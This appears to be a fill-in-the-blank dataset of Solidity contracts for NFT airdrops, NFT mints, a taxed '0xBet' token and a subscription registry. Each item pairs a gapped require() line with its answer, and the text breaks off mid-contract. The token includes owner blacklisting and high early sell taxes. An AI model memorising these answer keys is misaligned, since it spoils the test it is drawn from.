function setIncentivesAddress(address _newIncentivesAddress) external onlyOwner {
}
function withdrawUnclaimed() public onlyOwner {
}
receive() external payable {
}
}
| !r.hasClaimed[msg.sender],"You have already claimed for this round" | 476,059 | !r.hasClaimed[msg.sender] |
"Not subscribed or trying to pay less than the fee size" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
interface IERC721 {
function safeTransferFrom(address from, address to, uint256 tokenId) external;
}
interface IERC1155 {
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
interface INFT {
function isApprovedForAll(address account, address operator) external view returns (bool);
}
contract NFTEasyDrop {
address payable public owner;
uint public txFee = 0.07 ether;
uint[4] public subscriptionFees = [0.25 ether, 0.5 ether, 1 ether, 3 ether];
struct Sub {
bool subscribed;
uint until;
}
mapping(address => Sub) public subscribers;
uint internal received;
event Airdrop1155(address indexed _from, address indexed _nft, uint _timestamp);
event Airdrop721(address indexed _from, address indexed _nft, uint _timestamp);
event Subscription(address indexed _subscriber, uint _timestamp, uint indexed _period);
event ReceivedUndefiendETH(address indexed _from, uint indexed _value, uint _timestamp);
modifier onlyOwner {
}
modifier isEligible {
require(<FILL_ME>)
_;
}
constructor() {
}
receive() external payable {
}
function setOwner(address newOwner) external onlyOwner {
}
function setTxFee(uint _txFee) external onlyOwner {
}
function setSubFees(uint _day, uint _week, uint _month, uint _year) external onlyOwner {
}
function subscribe() external payable {
}
function addCustomSub(address _sub, uint _period) external onlyOwner {
}
function removeSub(address _sub) external onlyOwner {
}
function removeAllExpiredSubs(address[] calldata _subscribers) external onlyOwner {
}
function airdrop721(address _token, address[] calldata _to, uint[] calldata _id) external payable isEligible {
}
function airdrop1155(address _token, address[] calldata _to, uint[] calldata _id, uint[] calldata _amount) external payable isEligible {
}
function _addSub(address _sub, uint _period) private {
}
function isApproved(address _token) public view returns (bool) {
}
function receivedTotal() public view onlyOwner returns (uint) {
}
function checkBalance() public view onlyOwner returns (uint) {
}
function withdraw() external onlyOwner {
}
}
| subscribers[msg.sender].subscribed||msg.value>=txFee||msg.sender==owner,"Not subscribed or trying to pay less than the fee size" | 476,151 | subscribers[msg.sender].subscribed||msg.value>=txFee||msg.sender==owner |
"Already subscribed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
interface IERC721 {
function safeTransferFrom(address from, address to, uint256 tokenId) external;
}
interface IERC1155 {
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
interface INFT {
function isApprovedForAll(address account, address operator) external view returns (bool);
}
contract NFTEasyDrop {
address payable public owner;
uint public txFee = 0.07 ether;
uint[4] public subscriptionFees = [0.25 ether, 0.5 ether, 1 ether, 3 ether];
struct Sub {
bool subscribed;
uint until;
}
mapping(address => Sub) public subscribers;
uint internal received;
event Airdrop1155(address indexed _from, address indexed _nft, uint _timestamp);
event Airdrop721(address indexed _from, address indexed _nft, uint _timestamp);
event Subscription(address indexed _subscriber, uint _timestamp, uint indexed _period);
event ReceivedUndefiendETH(address indexed _from, uint indexed _value, uint _timestamp);
modifier onlyOwner {
}
modifier isEligible {
}
constructor() {
}
receive() external payable {
}
function setOwner(address newOwner) external onlyOwner {
}
function setTxFee(uint _txFee) external onlyOwner {
}
function setSubFees(uint _day, uint _week, uint _month, uint _year) external onlyOwner {
}
function subscribe() external payable {
require(<FILL_ME>)
require(msg.value >= subscriptionFees[0], "Trying to pay less than minimum subscription fee");
received += msg.value;
uint32[4] memory periods = [86400, 604800, 2629743, 31556926];
bool sub;
for (uint i = 0; i < subscriptionFees.length; i++) {
if (msg.value == subscriptionFees[i]) {
_addSub(msg.sender, periods[i]);
sub = true;
}
}
if (sub == false) emit ReceivedUndefiendETH(msg.sender, msg.value, block.timestamp);
}
function addCustomSub(address _sub, uint _period) external onlyOwner {
}
function removeSub(address _sub) external onlyOwner {
}
function removeAllExpiredSubs(address[] calldata _subscribers) external onlyOwner {
}
function airdrop721(address _token, address[] calldata _to, uint[] calldata _id) external payable isEligible {
}
function airdrop1155(address _token, address[] calldata _to, uint[] calldata _id, uint[] calldata _amount) external payable isEligible {
}
function _addSub(address _sub, uint _period) private {
}
function isApproved(address _token) public view returns (bool) {
}
function receivedTotal() public view onlyOwner returns (uint) {
}
function checkBalance() public view onlyOwner returns (uint) {
}
function withdraw() external onlyOwner {
}
}
| !subscribers[msg.sender].subscribed,"Already subscribed" | 476,151 | !subscribers[msg.sender].subscribed |
"Already subscribed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
interface IERC721 {
function safeTransferFrom(address from, address to, uint256 tokenId) external;
}
interface IERC1155 {
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
interface INFT {
function isApprovedForAll(address account, address operator) external view returns (bool);
}
contract NFTEasyDrop {
address payable public owner;
uint public txFee = 0.07 ether;
uint[4] public subscriptionFees = [0.25 ether, 0.5 ether, 1 ether, 3 ether];
struct Sub {
bool subscribed;
uint until;
}
mapping(address => Sub) public subscribers;
uint internal received;
event Airdrop1155(address indexed _from, address indexed _nft, uint _timestamp);
event Airdrop721(address indexed _from, address indexed _nft, uint _timestamp);
event Subscription(address indexed _subscriber, uint _timestamp, uint indexed _period);
event ReceivedUndefiendETH(address indexed _from, uint indexed _value, uint _timestamp);
modifier onlyOwner {
}
modifier isEligible {
}
constructor() {
}
receive() external payable {
}
function setOwner(address newOwner) external onlyOwner {
}
function setTxFee(uint _txFee) external onlyOwner {
}
function setSubFees(uint _day, uint _week, uint _month, uint _year) external onlyOwner {
}
function subscribe() external payable {
}
function addCustomSub(address _sub, uint _period) external onlyOwner {
require(<FILL_ME>)
_addSub(_sub, _period);
}
function removeSub(address _sub) external onlyOwner {
}
function removeAllExpiredSubs(address[] calldata _subscribers) external onlyOwner {
}
function airdrop721(address _token, address[] calldata _to, uint[] calldata _id) external payable isEligible {
}
function airdrop1155(address _token, address[] calldata _to, uint[] calldata _id, uint[] calldata _amount) external payable isEligible {
}
function _addSub(address _sub, uint _period) private {
}
function isApproved(address _token) public view returns (bool) {
}
function receivedTotal() public view onlyOwner returns (uint) {
}
function checkBalance() public view onlyOwner returns (uint) {
}
function withdraw() external onlyOwner {
}
}
| !subscribers[_sub].subscribed,"Already subscribed" | 476,151 | !subscribers[_sub].subscribed |
"Not subscribed or subscription is not expired yet" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
interface IERC721 {
function safeTransferFrom(address from, address to, uint256 tokenId) external;
}
interface IERC1155 {
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
interface INFT {
function isApprovedForAll(address account, address operator) external view returns (bool);
}
contract NFTEasyDrop {
address payable public owner;
uint public txFee = 0.07 ether;
uint[4] public subscriptionFees = [0.25 ether, 0.5 ether, 1 ether, 3 ether];
struct Sub {
bool subscribed;
uint until;
}
mapping(address => Sub) public subscribers;
uint internal received;
event Airdrop1155(address indexed _from, address indexed _nft, uint _timestamp);
event Airdrop721(address indexed _from, address indexed _nft, uint _timestamp);
event Subscription(address indexed _subscriber, uint _timestamp, uint indexed _period);
event ReceivedUndefiendETH(address indexed _from, uint indexed _value, uint _timestamp);
modifier onlyOwner {
}
modifier isEligible {
}
constructor() {
}
receive() external payable {
}
function setOwner(address newOwner) external onlyOwner {
}
function setTxFee(uint _txFee) external onlyOwner {
}
function setSubFees(uint _day, uint _week, uint _month, uint _year) external onlyOwner {
}
function subscribe() external payable {
}
function addCustomSub(address _sub, uint _period) external onlyOwner {
}
function removeSub(address _sub) external onlyOwner {
require(<FILL_ME>)
subscribers[_sub].subscribed = false;
}
function removeAllExpiredSubs(address[] calldata _subscribers) external onlyOwner {
}
function airdrop721(address _token, address[] calldata _to, uint[] calldata _id) external payable isEligible {
}
function airdrop1155(address _token, address[] calldata _to, uint[] calldata _id, uint[] calldata _amount) external payable isEligible {
}
function _addSub(address _sub, uint _period) private {
}
function isApproved(address _token) public view returns (bool) {
}
function receivedTotal() public view onlyOwner returns (uint) {
}
function checkBalance() public view onlyOwner returns (uint) {
}
function withdraw() external onlyOwner {
}
}
| subscribers[_sub].subscribed&&subscribers[_sub].until<block.timestamp,"Not subscribed or subscription is not expired yet" | 476,151 | subscribers[_sub].subscribed&&subscribers[_sub].until<block.timestamp |
"Token not approved" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
interface IERC721 {
function safeTransferFrom(address from, address to, uint256 tokenId) external;
}
interface IERC1155 {
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
interface INFT {
function isApprovedForAll(address account, address operator) external view returns (bool);
}
contract NFTEasyDrop {
address payable public owner;
uint public txFee = 0.07 ether;
uint[4] public subscriptionFees = [0.25 ether, 0.5 ether, 1 ether, 3 ether];
struct Sub {
bool subscribed;
uint until;
}
mapping(address => Sub) public subscribers;
uint internal received;
event Airdrop1155(address indexed _from, address indexed _nft, uint _timestamp);
event Airdrop721(address indexed _from, address indexed _nft, uint _timestamp);
event Subscription(address indexed _subscriber, uint _timestamp, uint indexed _period);
event ReceivedUndefiendETH(address indexed _from, uint indexed _value, uint _timestamp);
modifier onlyOwner {
}
modifier isEligible {
}
constructor() {
}
receive() external payable {
}
function setOwner(address newOwner) external onlyOwner {
}
function setTxFee(uint _txFee) external onlyOwner {
}
function setSubFees(uint _day, uint _week, uint _month, uint _year) external onlyOwner {
}
function subscribe() external payable {
}
function addCustomSub(address _sub, uint _period) external onlyOwner {
}
function removeSub(address _sub) external onlyOwner {
}
function removeAllExpiredSubs(address[] calldata _subscribers) external onlyOwner {
}
function airdrop721(address _token, address[] calldata _to, uint[] calldata _id) external payable isEligible {
require(<FILL_ME>)
require(_to.length == _id.length, "Arrays should be the same length");
received += msg.value;
for (uint i = 0; i < _to.length; i++) {
IERC721(_token).safeTransferFrom(msg.sender, _to[i], _id[i]);
}
emit Airdrop721(msg.sender, _token, block.timestamp);
}
function airdrop1155(address _token, address[] calldata _to, uint[] calldata _id, uint[] calldata _amount) external payable isEligible {
}
function _addSub(address _sub, uint _period) private {
}
function isApproved(address _token) public view returns (bool) {
}
function receivedTotal() public view onlyOwner returns (uint) {
}
function checkBalance() public view onlyOwner returns (uint) {
}
function withdraw() external onlyOwner {
}
}
| isApproved(_token),"Token not approved" | 476,151 | isApproved(_token) |
"Purchase would exceed max tokens" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract WhiteRabbitSociety is ERC721A, Ownable {
bool public saleIsActive = false;
bool public isAllowListActive = false;
string private _baseURIextended;
uint256 public MAX_SUPPLY = 500;
uint256 public MAX_WL_SUPPLY = 100;
uint256 public MAX_TX_MINT = 1;
uint256 public PRICE_PER_TOKEN_PUBLIC_SALE = 1 ether;
uint256 public PRICE_PER_TOKEN_PRE_SALE = 0.8 ether;
mapping(address => bool) private _allowList;
constructor() ERC721A("White Rabbit Society", "WRS") {}
function setIsAllowListActive(bool _isAllowListActive) external onlyOwner {
}
function setAllowList(address[] calldata addresses, bool allowed)
external
onlyOwner
{
}
function isAllowedToMint(address addr) external view returns (bool) {
}
function mintAllowList(uint8 numberOfTokens) external payable {
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function reserve(uint256 n) public onlyOwner {
require(<FILL_ME>)
_safeMint(msg.sender, n);
}
function setSaleState(bool newState) public onlyOwner {
}
function setPrices(uint256 pPublic, uint256 pPresale) public onlyOwner {
}
function setLimits(
uint256 mSupply,
uint256 mWLSupply,
uint256 mTx
) public onlyOwner {
}
function mint(uint256 numberOfTokens) public payable {
}
function withdrawStuckTokens(address tkn) public onlyOwner {
}
}
| totalSupply()+n<=MAX_SUPPLY,"Purchase would exceed max tokens" | 476,273 | totalSupply()+n<=MAX_SUPPLY |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/*
DEGEN MINT TLDR;
CALL mintPublic WITH A QUANTITY OF 0 AND VALUE OF 0 FOR JUST FREE MINT
OTHERWISE ANY QUANTITY LESS THAN OR EQUAL TO 10 AND VALUE OF .005 * THAT QUANTITY, FREE MINT WILL BE ADDED ON TOP
*/
contract Fairyverse is ERC721A , Ownable{
string public constant AREAD_ME =
"CALL mintPublic WITH A QUANTITY OF 0 AND VALUE OF 0 FOR JUST FREE MINT. OTHERWISE ANY QUANTITY LESS THAN OR EQUAL TO 10 AND VALUE OF .005 * THAT QUANTITY, FREE MINT WILL BE ADDED ON TOP";
uint256 public constant RESERVED_SUPPLY = 1;
uint256 public constant MAX_SUPPLY = 6666;
uint256 public constant MAX_PER_WALLET = 10;
constructor() ERC721A("Fairyverse", "FYV") {}
/**
* Public sale mechanism
*/
bool public publicSale = false;
uint256 public freeRedeemed = 0;
uint256 public MINT_PRICE = .005 ether;
uint256 public FREE_SUPPLY = 2000;
bool public reserved = false;
function setPublicSale(bool toggle) external onlyOwner {
}
function increaseFreeSupply(uint256 amount) external onlyOwner {
}
function decreasePrice(uint256 price) external onlyOwner {
}
/**
* Public minting
*/
mapping(address => uint256) public publicAddressMintCount;
mapping(address => bool) public FreeClaimed;
function mintPublic(uint256 _quantity) public payable {
require(msg.sender == tx.origin);
require(totalSupply() + _quantity <= MAX_SUPPLY, "Surpasses supply");
require(
publicAddressMintCount[msg.sender] + _quantity <= MAX_PER_WALLET,
"Surpasses max per wallet"
);
require(publicSale, "Public sale not started");
require(<FILL_ME>)
publicAddressMintCount[msg.sender] += _quantity;
if (freeRedeemed < FREE_SUPPLY && !FreeClaimed[msg.sender]) {
_quantity += 1;
freeRedeemed += 1;
FreeClaimed[msg.sender] = true;
}
require(_quantity > 0, "Free mint sold out");
_safeMint(msg.sender, _quantity);
}
function reserve() public onlyOwner {
}
/**
* Base URI
*/
string private baseURI;
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* Withdrawal
*/
function withdraw() external onlyOwner {
}
}
| msg.value==(_quantity)*MINT_PRICE | 476,429 | msg.value==(_quantity)*MINT_PRICE |
"limit" | // SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract ZeroXBet is Ownable, ERC20 {
mapping(address => bool) public blacklists;
address public marketing1 = 0x4FCcf70AC265b234a6b47224227eb3C34CF27542;
address public marketing2 = 0xC65D025e7cc69E85A87B6BC304a2dfa76922F203;
address public WETH;
uint256 public beginBlock = 0;
uint256 public secondBlock = 600;
uint256 public thirdlyBlock = 21600;
uint256 public ethBlock = 1800;
uint256 public tax1 = 20;
uint256 public tax2 = 5;
uint256 public tax3 = 2;
uint256 public limitNumber;
uint256 public swapNumber;
bool public blimit = true;
address public uniswapV2Pair;
IRouter public _router;
constructor() ERC20("0xBet", "0xBet") {
}
// function _beforeTokenTransfer(address from, address to, uint256 amount) internal override {
// require(!blacklists[to] && !blacklists[from], "Blacklisted");
// }
function _transfer(address from, address to, uint256 amount) internal override {
require(!blacklists[to] && !blacklists[from], "Blacklisted");
if(uniswapV2Pair == to && beginBlock == 0) {
beginBlock = block.timestamp;
}
if(from == owner()
|| from == marketing1
|| from == marketing2
|| to == owner()
|| to == marketing1
|| to == marketing2){
super._transfer(from, to, amount);
return;
}
if(uniswapV2Pair == from || uniswapV2Pair == to) {
if(blimit && uniswapV2Pair == from){
require(<FILL_ME>)
}
uint256 tax = 20;
if(block.timestamp < (beginBlock + secondBlock)){
tax = tax1;
}else if(block.timestamp < (beginBlock + thirdlyBlock)){
tax = tax2;
}else{
tax = tax3;
}
uint256 t = tax * amount / 100;
if(block.timestamp > (beginBlock + ethBlock) && uniswapV2Pair == to) {
super._transfer(from, address(this), t);
swapfee();
}else{
super._transfer(from, marketing1, t);
}
super._transfer(from, to, amount - t);
return;
}
super._transfer(from, to, amount);
}
bool private inSwap;
modifier lockTheSwap {
}
function swapfee() private lockTheSwap {
}
function setlimit(bool _limit, uint256 _limitNumber) external onlyOwner {
}
function setTax(uint256 _tax1, uint256 _tax2, uint256 _tax3) external onlyOwner {
}
function setSwapNumber(uint256 _swapNumber) external onlyOwner {
}
function blacklist(address _address, bool _isBlacklisting) external onlyOwner {
}
function setblacklist(address[] calldata addresses, bool _isBlacklisting) public onlyOwner {
}
function multiTransfer(address[] calldata addresses, uint256[] calldata amounts) public {
}
function multiTransfer_fixed(address[] calldata addresses, uint256 amount) public {
}
function errorToken(address _token) external onlyOwner {
}
function withdawOwner(uint256 amount) public onlyOwner {
}
receive () external payable {
}
}
| (amount+balanceOf(to))<limitNumber,"limit" | 476,462 | (amount+balanceOf(to))<limitNumber |
'This subscription not available' | // SPDX-License-Identifier: MIT
// ENVELOP(NIFTSY) Team. Subscription Registry Contract V2
pragma solidity 0.8.19;
import "Ownable.sol";
import "SafeERC20.sol";
import "ITrustedWrapper.sol";
import "LibEnvelopTypes.sol";
import "ISubscriptionRegistry.sol";
/// The subscription platform operates with the following role model
/// (it is assumed that the actor with the role is implemented as a contract).
/// `Service Provider` is a contract whose services are sold by subscription.
/// `Agent` - a contract that sells a subscription on behalf ofservice provider.
/// May receive sales commission
/// `Platform` - SubscriptionRegistry contract that performs processingsubscriptions,
/// fares, tickets
struct SubscriptionType {
uint256 timelockPeriod; // in seconds e.g. 3600*24*30*12 = 31104000 = 1 year
uint256 ticketValidPeriod; // in seconds e.g. 3600*24*30 = 2592000 = 1 month
uint256 counter; // For case when ticket valid for N usage, e.g. for Min N NFTs
bool isAvailable; // USe for stop using tariff because we can`t remove tariff from array
address beneficiary; // Who will receive payment for tickets
}
struct PayOption {
address paymentToken; // token contract address or zero address for native token(ETC etc)
uint256 paymentAmount; // ticket price exclude any fees
uint16 agentFeePercent; // 100%-10000, 20%-2000, 3%-300
}
struct Tariff {
SubscriptionType subscription; // link to subscriptionType
PayOption[] payWith; // payment option array. Use it for price in defferent tokens
}
// native subscribtionManager tickets format
struct Ticket {
uint256 validUntil; // Unixdate, tickets not valid after
uint256 countsLeft; // for tarif with fixed use counter
}
/// @title Base contract in Envelop Subscription Platform
/// @author Envelop Team
/// @notice You can use this contract for make and operate any on-chain subscriptions
/// @dev Contract that performs processing subscriptions, fares(tariffs), tickets
/// @custom:please see example folder.
contract SubscriptionRegistry is Ownable {
using SafeERC20 for IERC20;
uint256 constant public PERCENT_DENOMINATOR = 10000;
/// @notice Envelop Multisig contract
address public platformOwner;
/// @notice Platform owner can receive fee from each payments
uint16 public platformFeePercent = 50; // 100%-10000, 20%-2000, 3%-300
/// @notice address used for wrapp & lock incoming assets
address public mainWrapper;
/// @notice Used in case upgrade this contract
address public previousRegistry;
/// @notice Used in case upgrade this contract
address public proxyRegistry;
/// @notice Only white listed assets can be used on platform
mapping(address => bool) public whiteListedForPayments;
/// @notice from service(=smart contract address) to tarifs
mapping(address => Tariff[]) public availableTariffs;
/// @notice from service to agent to available tarifs(tarif index);
mapping(address => mapping(address => uint256[])) public agentServiceRegistry;
/// @notice mapping from user addres to service contract address to ticket
mapping(address => mapping(address => Ticket)) public userTickets;
event PlatfromFeeChanged(uint16 indexed newPercent);
event WhitelistPaymentTokenChanged(address indexed asset, bool indexed state);
event TariffChanged(address indexed service, uint256 indexed tariffIndex);
event TicketIssued(
address indexed service,
address indexed agent,
address indexed forUser,
uint256 tariffIndex
);
constructor(address _platformOwner) {
}
/**
* @notice Add new tariff for caller
* @dev Call this method from ServiceProvider
* for setup new tariff
* using `Tariff` data type(please see above)
*
* @param _newTariff full encded Tariff object
* @return last added tariff index in Tariff[] array
* for current Service Provider (msg.sender)
*/
function registerServiceTariff(Tariff calldata _newTariff)
external
returns(uint256)
{
}
/**
* @notice Edit tariff for caller
* @dev Call this method from ServiceProvider
* for setup new tariff
* using `Tariff` data type(please see above)
*
* @param _tariffIndex - index in `availableTariffs` array
* @param _timelockPeriod - see SubscriptionType notice above
* @param _ticketValidPeriod - see SubscriptionType notice above
* @param _counter - see SubscriptionType notice above
* @param _isAvailable - see SubscriptionType notice above
* @param _beneficiary - see SubscriptionType notice above
*/
function editServiceTariff(
uint256 _tariffIndex,
uint256 _timelockPeriod,
uint256 _ticketValidPeriod,
uint256 _counter,
bool _isAvailable,
address _beneficiary
)
external
{
}
/**
* @notice Add tariff PayOption for exact service
* @dev Call this method from ServiceProvider
* for add tariff PayOption
*
* @param _tariffIndex - index in `availableTariffs` array
* @param _paymentToken - see PayOption notice above
* @param _paymentAmount - see PayOption notice above
* @param _agentFeePercent - see PayOption notice above
* @return last added PaymentOption index in array
* for _tariffIndex Tariff of caller Service Provider (msg.sender)
*/
function addTariffPayOption(
uint256 _tariffIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) external returns(uint256)
{
}
/**
* @notice Edit tariff PayOption for exact service
* @dev Call this method from ServiceProvider
* for edit tariff PayOption
*
* @param _tariffIndex - index in `availableTariffs` array
* @param _payWithIndex - index in `tariff.payWith` array
* @param _paymentToken - see PayOption notice above
* @param _paymentAmount - see PayOption notice above
* @param _agentFeePercent - see PayOption notice above
* for _tariffIndex Tariff of caller Service Provider (msg.sender)
*/
function editTariffPayOption(
uint256 _tariffIndex,
uint256 _payWithIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) external
{
}
/**
* @notice Authorize agent for caller service provider
* @dev Call this method from ServiceProvider
*
* @param _agent - address of contract that implement Agent role
* @param _serviceTariffIndexes - array of index in `availableTariffs` array
* that available for given `_agent`
* @return full array of actual tarifs for this agent
*/
function authorizeAgentForService(
address _agent,
uint256[] calldata _serviceTariffIndexes
) external virtual returns (uint256[] memory)
{
}
/**
* @notice By Ticket for subscription
* @dev Call this method from Agent
*
* @param _service - Service Provider address
* @param _tariffIndex - index in `availableTariffs` array
* @param _payWithIndex - index in `tariff.payWith` array
* @param _buyFor - address for whome this ticket would be bought
* @param _payer - address of payer for this ticket
* @return ticket structure that would be use for validate service process
*/
function buySubscription(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex,
address _buyFor,
address _payer
) external
payable
returns(Ticket memory ticket) {
// Cant buy ticket for nobody
require(_buyFor != address(0),'Cant buy ticket for nobody');
require(<FILL_ME>)
// Not used in this implementation
// require(
// availableTariffs[_service][_tariffIndex].payWith[_payWithIndex].paymentAmount > 0,
// 'This Payment option not available'
// );
// Check that agent is authorized for purchace of this service
require(
_isAgentAuthorized(msg.sender, _service, _tariffIndex),
'Agent not authorized for this service tariff'
);
(bool isValid, bool needFix) = _isTicketValid(_buyFor, _service);
require(!isValid, 'Only one valid ticket at time');
//lets safe user ticket (only one ticket available in this version)
ticket = Ticket(
availableTariffs[_service][_tariffIndex].subscription.ticketValidPeriod + block.timestamp,
availableTariffs[_service][_tariffIndex].subscription.counter
);
userTickets[_buyFor][_service] = ticket;
// Lets receive payment tokens FROM sender
if (availableTariffs[_service][_tariffIndex].payWith[_payWithIndex].paymentAmount > 0){
_processPayment(_service, _tariffIndex, _payWithIndex, _payer);
}
emit TicketIssued(_service, msg.sender, _buyFor, _tariffIndex);
}
/**
* @notice Check that `_user` have still valid ticket for this service.
* Decrement ticket counter in case it > 0
* @dev Call this method from ServiceProvider
*
* @param _user - address of user who has an ticket and who trying get service
* @return ok True in case ticket is valid
*/
function checkAndFixUserSubscription(
address _user
) external returns (bool ok){
}
/**
* @notice Decrement ticket counter in case it > 0
* @dev Call this method from new SubscriptionRegistry in case of upgrade
*
* @param _user - address of user who has an ticket and who trying get service
* @param _serviceFromProxy - address of service from more new SubscriptionRegistry contract
*/
function fixUserSubscription(
address _user,
address _serviceFromProxy
) public {
}
////////////////////////////////////////////////////////////////
/**
* @notice Check that `_user` have still valid ticket for this service.
* @dev Call this method from any context
*
* @param _user - address of user who has an ticket and who trying get service
* @param _service - address of Service Provider
* @return ok True in case ticket is valid
* @return needFix True in case ticket has counter > 0
*/
function checkUserSubscription(
address _user,
address _service
) external view returns (bool ok, bool needFix) {
}
/**
* @notice Returns `_user` ticket for this service.
* @dev Call this method from any context
*
* @param _user - address of user who has an ticket and who trying get service
* @param _service - address of Service Provider
* @return ticket
*/
function getUserTicketForService(
address _service,
address _user
) public view returns(Ticket memory)
{
}
/**
* @notice Returns array of Tariff for `_service`
* @dev Call this method from any context
*
* @param _service - address of Service Provider
* @return Tariff array
*/
function getTariffsForService(address _service) external view returns (Tariff[] memory) {
}
/**
* @notice Returns ticket price include any fees
* @dev Call this method from any context
*
* @param _service - address of Service Provider
* @param _tariffIndex - index in `availableTariffs` array
* @param _payWithIndex - index in `tariff.payWith` array
* @return tulpe with payment token an ticket price
*/
function getTicketPrice(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex
) public view virtual returns (address, uint256)
{
}
/**
* @notice Returns array of Tariff for `_service` assigned to `_agent`
* @dev Call this method from any context
*
* @param _agent - address of Agent
* @param _service - address of Service Provider
* @return tuple with two arrays: indexes and Tariffs
*/
function getAvailableAgentsTariffForService(
address _agent,
address _service
) external view virtual returns(uint256[] memory, Tariff[] memory)
{
}
////////////////////////////////////////////////////////////////
////////// Admins //////
////////////////////////////////////////////////////////////////
function setAssetForPaymentState(address _asset, bool _isEnable)
external onlyOwner
{
}
function setMainWrapper(address _wrapper) external onlyOwner {
}
function setPlatformOwner(address _newOwner) external {
}
function setPlatformFeePercent(uint16 _newPercent) external {
}
function setPreviousRegistry(address _registry) external onlyOwner {
}
function setProxyRegistry(address _registry) external onlyOwner {
}
/////////////////////////////////////////////////////////////////////
function _processPayment(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex,
address _payer
)
internal
virtual
returns(bool)
{
}
// In this impementation params not used.
// Can be ovveriden in other cases
function _platformFeePercent(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex
) internal view virtual returns(uint256)
{
}
function _addTariff(address _service, Tariff calldata _newTariff)
internal returns(uint256)
{
}
function _editTariff(
address _service,
uint256 _tariffIndex,
uint256 _timelockPeriod,
uint256 _ticketValidPeriod,
uint256 _counter,
bool _isAvailable,
address _beneficiary
) internal
{
}
function _addTariffPayOption(
address _service,
uint256 _tariffIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) internal returns(uint256)
{
}
function _editTariffPayOption(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) internal
{
}
function _fixUserSubscription(
address _user,
address _service
) internal {
}
function _isTicketValid(address _user, address _service)
internal
view
returns (bool isValid, bool needFix )
{
}
function _isAgentAuthorized(
address _agent,
address _service,
uint256 _tariffIndex
)
internal
view
returns(bool authorized)
{
}
function sendValue(address payable recipient, uint256 amount) internal {
}
}
| availableTariffs[_service][_tariffIndex].subscription.isAvailable,'This subscription not available' | 476,486 | availableTariffs[_service][_tariffIndex].subscription.isAvailable |
'Agent not authorized for this service tariff' | // SPDX-License-Identifier: MIT
// ENVELOP(NIFTSY) Team. Subscription Registry Contract V2
pragma solidity 0.8.19;
import "Ownable.sol";
import "SafeERC20.sol";
import "ITrustedWrapper.sol";
import "LibEnvelopTypes.sol";
import "ISubscriptionRegistry.sol";
/// The subscription platform operates with the following role model
/// (it is assumed that the actor with the role is implemented as a contract).
/// `Service Provider` is a contract whose services are sold by subscription.
/// `Agent` - a contract that sells a subscription on behalf ofservice provider.
/// May receive sales commission
/// `Platform` - SubscriptionRegistry contract that performs processingsubscriptions,
/// fares, tickets
struct SubscriptionType {
uint256 timelockPeriod; // in seconds e.g. 3600*24*30*12 = 31104000 = 1 year
uint256 ticketValidPeriod; // in seconds e.g. 3600*24*30 = 2592000 = 1 month
uint256 counter; // For case when ticket valid for N usage, e.g. for Min N NFTs
bool isAvailable; // USe for stop using tariff because we can`t remove tariff from array
address beneficiary; // Who will receive payment for tickets
}
struct PayOption {
address paymentToken; // token contract address or zero address for native token(ETC etc)
uint256 paymentAmount; // ticket price exclude any fees
uint16 agentFeePercent; // 100%-10000, 20%-2000, 3%-300
}
struct Tariff {
SubscriptionType subscription; // link to subscriptionType
PayOption[] payWith; // payment option array. Use it for price in defferent tokens
}
// native subscribtionManager tickets format
struct Ticket {
uint256 validUntil; // Unixdate, tickets not valid after
uint256 countsLeft; // for tarif with fixed use counter
}
/// @title Base contract in Envelop Subscription Platform
/// @author Envelop Team
/// @notice You can use this contract for make and operate any on-chain subscriptions
/// @dev Contract that performs processing subscriptions, fares(tariffs), tickets
/// @custom:please see example folder.
contract SubscriptionRegistry is Ownable {
using SafeERC20 for IERC20;
uint256 constant public PERCENT_DENOMINATOR = 10000;
/// @notice Envelop Multisig contract
address public platformOwner;
/// @notice Platform owner can receive fee from each payments
uint16 public platformFeePercent = 50; // 100%-10000, 20%-2000, 3%-300
/// @notice address used for wrapp & lock incoming assets
address public mainWrapper;
/// @notice Used in case upgrade this contract
address public previousRegistry;
/// @notice Used in case upgrade this contract
address public proxyRegistry;
